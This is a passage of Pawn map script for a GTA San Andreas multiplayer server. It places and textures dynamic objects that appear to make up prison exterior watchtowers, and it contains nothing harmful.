	prisonextobj = CreateDynamicObjectEx(19353, -1018.221801, -691.425781, 32.758052, 0.000000, 0.000007, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.701965, -689.905273, 32.758052, 0.000007, 0.000000, 89.999977, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1015.189697, -691.425170, 32.758052, 0.000014, -0.000007, 179.999801, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.709533, -692.945678, 32.758052, -0.000007, -0.000014, -90.000030, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1018.221801, -691.425781, 36.258113, 0.000000, 0.000014, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.701965, -689.905273, 36.258113, 0.000014, 0.000000, 89.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1015.189697, -691.425170, 36.258113, 0.000014, -0.000014, 179.999755, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.709533, -692.945678, 36.258113, -0.000014, -0.000014, -90.000007, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1018.221801, -691.425781, 39.758094, 0.000000, 0.000022, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.701965, -689.905273, 39.758094, 0.000022, 0.000000, 89.999931, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1015.189697, -691.425170, 39.758094, 0.000014, -0.000022, 179.999710, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.709533, -692.945678, 39.758094, -0.000022, -0.000014, -89.999984, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.701965, -691.435852, 41.448089, 0.000022, 90.000000, 89.999931, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1016.718261, -693.987609, 41.447692, 0.000000, 90.000007, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1016.718261, -688.883789, 41.447692, 0.000000, 90.000007, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1014.294555, -689.831848, 41.445693, 0.000007, 90.000000, 89.999977, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1014.294555, -693.039733, 41.449691, 0.000007, 90.000000, 89.999977, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1019.110656, -689.831848, 41.445693, 0.000014, 90.000000, 89.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1019.110656, -693.039733, 41.449691, 0.000014, 90.000000, 89.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19383, -1015.184143, -691.426574, 43.278640, 0.000000, 0.000007, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1017.030090, -692.199279, 43.279682, 0.000007, 180.000000, 179.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19399, -1016.701416, -689.907775, 43.278446, 0.000007, 0.000007, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.709533, -692.945678, 43.279075, -0.000022, -0.000014, -89.999984, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2949, -1016.925720, -692.893859, 41.518398, 0.000000, -0.000007, 179.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1018.220825, -692.199279, 43.279682, 0.000007, 180.000000, 179.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1017.510986, -691.478942, 43.279682, 0.000000, 180.000000, -90.000007, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1018.220825, -690.618103, 43.279682, 0.000007, 180.000000, 179.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(970, -1015.584045, -688.110534, 42.086688, 0.000000, 0.000007, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1017.825134, -688.110534, 42.086688, 0.000000, 0.000007, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1015.584045, -694.771179, 42.086688, 0.000000, 0.000014, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1017.825134, -694.771179, 42.086688, 0.000000, 0.000014, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1013.513671, -690.320312, 42.086688, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1013.513671, -692.561401, 42.086688, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1019.889648, -690.320312, 42.086688, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1019.889648, -692.561401, 42.086688, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1016.701965, -691.435852, 44.998020, 0.000029, 90.000000, 89.999908, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1016.718261, -693.987609, 44.997623, 0.000000, 90.000015, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1016.718261, -688.883789, 44.997623, 0.000000, 90.000015, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1014.294555, -689.831848, 44.995624, 0.000014, 90.000000, 89.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1014.294555, -693.039733, 44.999622, 0.000014, 90.000000, 89.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1019.110656, -689.831848, 44.995624, 0.000022, 90.000000, 89.999931, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1019.110656, -693.039733, 44.999622, 0.000022, 90.000000, 89.999931, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(2949, -1015.085937, -692.183715, 31.028371, 0.000000, -0.000007, 179.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.637451, -654.988830, 32.758052, 0.000007, 0.000014, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1040.116943, -656.508605, 32.758052, 0.000014, -0.000007, -0.000082, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.636718, -658.020935, 32.758052, 0.000007, -0.000014, 89.999732, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1043.157226, -656.501037, 32.758052, -0.000014, -0.000007, 179.999908, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.637451, -654.988830, 36.258113, 0.000007, 0.000022, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1040.116943, -656.508605, 36.258113, 0.000022, -0.000007, -0.000114, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.636718, -658.020935, 36.258113, 0.000007, -0.000022, 89.999687, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1043.157226, -656.501037, 36.258113, -0.000022, -0.000007, 179.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.637451, -654.988830, 39.758094, 0.000007, 0.000029, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1040.116943, -656.508605, 39.758094, 0.000029, -0.000007, -0.000128, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.636718, -658.020935, 39.758094, 0.000007, -0.000029, 89.999641, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1043.157226, -656.501037, 39.758094, -0.000029, -0.000007, 179.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.647460, -656.508605, 41.448089, 0.000029, 89.999992, -0.000128, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1044.199218, -656.492370, 41.447692, 0.000007, 90.000015, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1039.095458, -656.492370, 41.447692, 0.000007, 90.000015, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1040.043457, -658.916076, 41.445693, 0.000014, 89.999992, -0.000082, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1043.251342, -658.916076, 41.449691, 0.000014, 89.999992, -0.000082, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1040.043457, -654.099914, 41.445693, 0.000022, 89.999992, -0.000114, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1043.251342, -654.099914, 41.449691, 0.000022, 89.999992, -0.000114, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19383, -1041.638183, -658.026428, 43.278640, 0.000007, 0.000014, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1042.410888, -656.180480, 43.279682, 0.000000, 180.000000, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19399, -1040.119384, -656.509216, 43.278446, 0.000014, 0.000000, -0.000114, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1043.157226, -656.501037, 43.279075, -0.000029, -0.000007, 179.999954, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2949, -1043.105468, -656.284973, 41.518398, -0.000007, -0.000014, 89.999885, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1042.410888, -654.989807, 43.279682, 0.000000, 180.000000, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1041.690551, -655.699645, 43.279682, -0.000007, 180.000000, 179.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1040.829711, -654.989807, 43.279682, 0.000000, 180.000000, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(970, -1038.322143, -657.626525, 42.086688, 0.000007, 0.000014, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1038.322143, -655.385559, 42.086688, 0.000007, 0.000014, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1044.982788, -657.626525, 42.086688, 0.000007, 0.000022, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1044.982788, -655.385559, 42.086688, 0.000007, 0.000022, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1040.531982, -659.696960, 42.086688, 0.000022, 0.000007, -0.000144, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1042.772949, -659.696960, 42.086688, 0.000022, 0.000007, -0.000144, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1040.531982, -653.320983, 42.086688, 0.000022, 0.000007, -0.000144, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1042.772949, -653.320983, 42.086688, 0.000022, 0.000007, -0.000144, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1041.647460, -656.508605, 44.998020, 0.000037, 89.999992, -0.000159, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1044.199218, -656.492370, 44.997623, 0.000007, 90.000022, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1039.095458, -656.492370, 44.997623, 0.000007, 90.000022, -90.000061, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1040.043457, -658.916076, 44.995624, 0.000022, 89.999992, -0.000114, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1043.251342, -658.916076, 44.999622, 0.000022, 89.999992, -0.000114, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1040.043457, -654.099914, 44.995624, 0.000029, 89.999992, -0.000128, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1043.251342, -654.099914, 44.999622, 0.000029, 89.999992, -0.000128, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(2949, -1039.994628, -656.994262, 31.028371, -0.000007, -0.000014, 179.999877, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1105.703491, -670.614624, 32.758052, -0.000007, 0.000014, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.183715, -669.094116, 32.758052, 0.000014, 0.000007, 89.999885, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1102.671386, -670.613891, 32.758052, 0.000022, -0.000014, 179.999664, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.191284, -672.134399, 32.758052, -0.000014, -0.000022, -90.000122, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1105.703491, -670.614624, 36.258113, -0.000007, 0.000022, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.183715, -669.094116, 36.258113, 0.000022, 0.000007, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1102.671386, -670.613891, 36.258113, 0.000022, -0.000022, 179.999618, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.191284, -672.134399, 36.258113, -0.000022, -0.000022, -90.000106, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1105.703491, -670.614624, 39.758094, -0.000007, 0.000029, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.183715, -669.094116, 39.758094, 0.000029, 0.000007, 89.999839, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1102.671386, -670.613891, 39.758094, 0.000022, -0.000029, 179.999572, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.191284, -672.134399, 39.758094, -0.000029, -0.000022, -90.000076, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.183715, -670.624633, 41.448089, 0.000029, 90.000007, 89.999839, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.199951, -673.176391, 41.447692, -0.000007, 90.000015, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.199951, -668.072631, 41.447692, -0.000007, 90.000015, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1101.776245, -669.020629, 41.445693, 0.000014, 90.000007, 89.999885, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1101.776245, -672.228515, 41.449691, 0.000014, 90.000007, 89.999885, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1106.592407, -669.020629, 41.445693, 0.000022, 90.000007, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1106.592407, -672.228515, 41.449691, 0.000022, 90.000007, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 8567, "vgsebuild02", "vgsderelict03_128", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19383, -1102.665893, -670.615356, 43.278640, -0.000007, 0.000014, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.511840, -671.388061, 43.279682, 0.000014, 180.000000, 179.999786, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19399, -1104.183105, -669.096557, 43.278446, 0.000014, 0.000014, 89.999855, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19353, -1104.191284, -672.134399, 43.279075, -0.000029, -0.000022, -90.000076, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(2949, -1104.407348, -672.082641, 41.518398, 0.000007, -0.000014, 179.999816, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19430, -1105.702514, -671.388061, 43.279682, 0.000014, 180.000000, 179.999786, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1104.992675, -670.667724, 43.279682, -0.000007, 180.000000, -90.000106, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19430, -1105.702514, -669.806884, 43.279682, 0.000014, 180.000000, 179.999786, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 10765, "airportgnd_sfse", "ws_whitestripe", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(970, -1103.065795, -667.299316, 42.086688, -0.000007, 0.000014, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1105.306762, -667.299316, 42.086688, -0.000007, 0.000014, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1103.065795, -673.959960, 42.086688, -0.000007, 0.000022, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(970, -1105.306762, -673.959960, 42.086688, -0.000007, 0.000022, -0.000045, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
